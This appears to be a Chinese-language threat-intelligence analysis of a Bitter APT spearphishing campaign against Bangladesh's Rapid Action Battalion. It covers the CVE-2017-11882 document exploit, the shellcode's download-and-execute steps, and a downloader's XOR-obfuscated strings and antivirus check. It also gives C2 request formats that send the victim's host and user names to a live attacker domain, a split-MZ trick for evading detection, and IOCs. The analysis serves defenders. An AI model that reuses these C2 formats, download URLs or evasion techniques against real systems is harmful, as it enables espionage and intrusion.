Bitter APT 组织将孟加拉国列为新攻击目标
· 3 分钟阅读 · @admin

1.1 组织背景
Bitter(又称 T-APT-17、蔓灵花)是一个长期针对中国、巴基斯坦等国家进行攻击活动的 APT 组织,也是目前最活跃的针对国内目标进行攻击的境外 APT 组织之一。该组织主要针对政府、军工、电力、核能等关键基础设施单位进行攻击,窃取敏感资料,具有强烈的政治背景和国家支持特征。
1.2 能力与工具库
Bitter 的主要动机为进行间谍活动,拥有对多个操作系统平台进行攻击的能力。他们的武器库主要包含 BitterRAT、Artra Downloader、SlideRAT 和 AndroRAT 等多种恶意软件工具。
1.3 本次攻击活动
此次攻击活动的主要目标为孟加拉国快速行动营(Rapid Action Battalion, RAB),这是孟加拉国警察的精英反犯罪和反恐单位。攻击者使用与受害者组织的常规运营任务相关的主题作为诱饵,通过发送鱼叉式网络钓鱼邮件给孟加拉国警察快速行动营的高级官员来实施攻击。
1.4 攻击手法
诱饵文件为利用已知漏洞 CVE-2017-11882 武器化的 Office 文档。一旦受害者打开文档,公式编辑器(Equation Editor)就会触发嵌入在文档中的 Shellcode,然后从远程服务器下载恶意程序并在受害者机器上执行。
2. 样本详情
2.1 样本信息
| 文件名 | MD5 哈希值 |
|---|---|
| Addl SP Hafizur Rahman.doc | bdbbd70229591fb1102365f4bb22196b |
| 文件名 | MD5 哈希值 |
|---|---|
| ntfsc.exe / fwbase.exe | 59b043a913014a1f03258c695b9333af |
3. 攻击流程图

4. 详细分析
4.1 RTF 文件分析
4.1.1 漏洞利用
RTF 文档利用堆栈溢出漏洞 CVE-2017-11882 进行武器化,该漏洞可以在运行易受攻击的 Office 版本的受害者计算机上执行任意代码。

当受害者使用 word.exe 打开 RTF 文件时,程序会调用公式编辑器并执行嵌入的 Shellcode。Shellcode 的主要功能是创建目录 C:\$Utf,并从远程地址下载恶意程序然后执行。
4.1.2 Shellcode 分析
获取 Kernel32 模块基址
通过遍历结构 _LDR_DATA_TABLE_ENTRY 来获取已加载模块的信息,比较模块名称来获取模块 kernel32 的信息,然后遍历该模块的导出表获取函数 GetProcAddress 的地址并将其保存到寄存器 EDI。

ROP 链执行流控制
Shellcode 使用 ROP(Return-Oriented Programming)技术来控制执行流。函数调用所需的字符串参数位于指令之前,通过堆栈指针 ESP 来引用。通过指令 call edi 来获取 CreateDirectoryA 的函数地址,然后通过指令 call eax 来执行该函数,后续操作都采用相同的方式。

字符串混淆技术
硬编码的字符串参数头部几个字符被用随机值填充,然后在 Shellcode 执行过程中通过一系列计算将头部字节恢复原样。
如下图所示,该段指令主要用于获取函数 URLDownloadToFileA 的地址,然后调用该函数从地址 http://olmajhnservice.com/nxl/nx 下载恶意程序并保存到文件 C:\$Utf/fw。

文件重命名
从远程服务器下载的文件保存到本地时没有给定后缀 .exe,无法直接执行,因此将文件 fw 重命名为 fwbase.exe。

恶意程序执行
Shellcode 按照前面的方法获取函数 ShellExecuteA 的地址,调用程序 explorer 来执行恶意程序 fwbase.exe,然后退出当前执行 Shellcode 的程序(公式编辑器)。
退出程序时并未通过指令 call edi 来获取地址,而是直接调用地址 0x4667d0 处的函数,该地址正好为公式编辑器的 ExitProcess 函数。
4.2 fwbase.exe 分析
4.2.1 程序概述
该文件是使用 VC++ 编译的 32 位 PE 文件,时间戳为 2021 年 9 月,伪装成 Windows 的更新程序。主要功能是从远程服务器下载并执行文件。

4.2.2 字符串混淆
攻击者使用常见的编码技术对程序中使用的字符串进行混淆处理,用于对静态分析工具隐藏其行为。

字符串解密函数 decrypt_str 接收两个参数:参数 1 为加密字符串,参数 2 为用于异或解密的密钥。

4.2.3 加密字符串对照表
恶意程序中使用的所有加密字符串及其解密后的字符串如下表:
| 加密字符串 | 解密后字符串 |
|---|---|
| FDWUGQ | update.exe |
| FDWUGQ@ | Updates |
| q\thbA[UAU_wUFRheZZV\\CAo | C:\\ProgramData\\Windows |
| KZW\x1CPMRSA\x06UCQv\a\xIDD]C\vAK@ | xnb/dxagt5avbB2.php?txt= |
| aKv2GG | datal.php?id= |
| KIX$3HJJvx7<9: F}y××w3 | GET /dFFrt3856ByutTs/ |
| [Q-DWQ@- | helpdesk.autodefragapp.com |
4.2.4 反检测机制
恶意程序通过使用函数 CreateToolhelp32Snapshot 创建正在运行进程的快照,并使用函数 Process32First 和 Process32Next 遍历每个进程,从而在受害者的计算机中搜索进程 AVP.exe,该进程归属于安全软件卡巴斯基(Kaspersky)。
从下图反编译代码可以看出,如果不存在进程 avp 时,恶意程序可能会将自身拷贝到 %STARTUP%/ZAPGV 实现持久化。不过在该恶意程序中并未实现持久化功能,应该是还处于开发中。

4.2.5 文件复制与执行
将自身拷贝到 %LocalAppData%\Updates\ntfsc.exe。恶意程序会判断自身路径中是否包含 ntfsc.exe,只有包含该关键词时才会与 C&C 进行通信。根据代码上下文判断,恶意程序开发者可能是想复制文件后再执行并退出当前程序,这样的话路径包含关键词 ntfsc.exe 就能够与 C&C 进行通信。

4.2.6 C&C 通信协议
HTTP 请求格式
恶意程序通过 Socket 发送模拟 HTTP 请求来与 C&C 进行通信。
GET /dFFrt3856ByutTs/{type}/{send_GetRequest_data}
HTTP/1.1
Host: helpdesk.autodefragapp.com
Connection: close
具体实现如下图:

通信类型
使用的类型如下表:
| Type | 描述 |
|---|---|
| xnb | 收集受害者信息或者上传恶意程序执行结果 |
| Dxd2869Vbx | 请求下载文件 |
4.2.7 信息收集
第一次与 C&C 进行连接时,首先收集受害者的主机名、操作系统产品名称和用户名,以如下格式发送 GET 请求到 C&C 服务器。
/dFFrt3856ByutTs/xnb/data1.php?id={computeName}&&user={userName}ZxxZ{ProductName}
具体代码如下:

4.2.8 定向攻击机制
C&C 服务器接收到受害者发送的类型为 xnb 的数据时,以如下格式返回响应数据,文件名为 C&C 即将投递到受害者的文件。
{电脑名}{用户名}:"{文件名}"
攻击者不会对所有受害者下发恶意程序,而是通过判断受害者电脑名来定向选择目标。只有当 C&C 返回的数据中包含受害者电脑名时才会执行下一步操作。

4.2.9 文件下载与执行
下载请求
发送如下请求从 C&C 下载文件。
/dFFrt3856ByutTs/Dxd2869Vbx/{文件名}
响应处理
C&C 接收到下载请求后返回需要下载的恶意程序数据。攻击者通过关键词 ZxxZ 来判断响应数据有效的起始位置,进而读取需要下载的数据。
{垃圾数据}ZxxZ{PE文件去掉PE头部magic字符MZ}

文件重建
创建文件 /Debug/%cmptnameuname%.exe 并向此文件头部写入字符 M,然后写入剩余数据。PE 文件头部 magic 字符被分割构成不合法文件,以避免被某些安全检测工具检测。

执行与反馈
文件下载成功后调用函数 ShellExecuteA 执行程序,使用操作码 DN-S 发送回请求。在执行程序后遍历正在运行的进程判断下载的文件是否成功执行。其中 S 表示执行成功,RN_e 表示执行失败,DN-S 表示下载文件成功。以如下格式将恶意程序执行结果上传到 C&C 服务器。
xnb/dxagt5avbB2.php?txt={执行结果}

5. 威胁情报指标(IOC)
5.1 文件哈希(MD5)
bdbbd70229591fb1102365f4bb22196b
59b043a913014a1f03258c695b9333af
5.2 网络指标
hxxp://olmajhnservice.com/nxl/nx
hxxp://helpdesk.autodefragapp.com
6. ATT&CK 矩阵映射
| 战术(Tactic) | 技术 ID | 技术名称(Name) | 描述(Description) |
|---|---|---|---|
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment | 使用鱼叉式网络钓鱼电子邮件附件作为初始访问向量 |
| Execution | T1203 | Exploitation for Client Execution | 利用 CVE-2017-11882 漏洞在受害者机器上执行代码 |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | 与 C&C 服务器通信使用 HTTP 协议 |
| Discovery | T1057 | Process Discovery | 查找安全软件进程 avp.exe(卡巴斯基) |
| T1033 | System Owner/User Discovery | 获取用户名、计算机名和操作系统信息 | |
| Defense Evasion | T1027 | Obfuscated Files or Information | 使用 XOR 加密混淆字符串;分割 PE 文件 Magic 字节以逃避检测 |
| T1140 | Deobfuscate/Decode Files or Information | 运行时动态解密字符串和恶意载荷 |

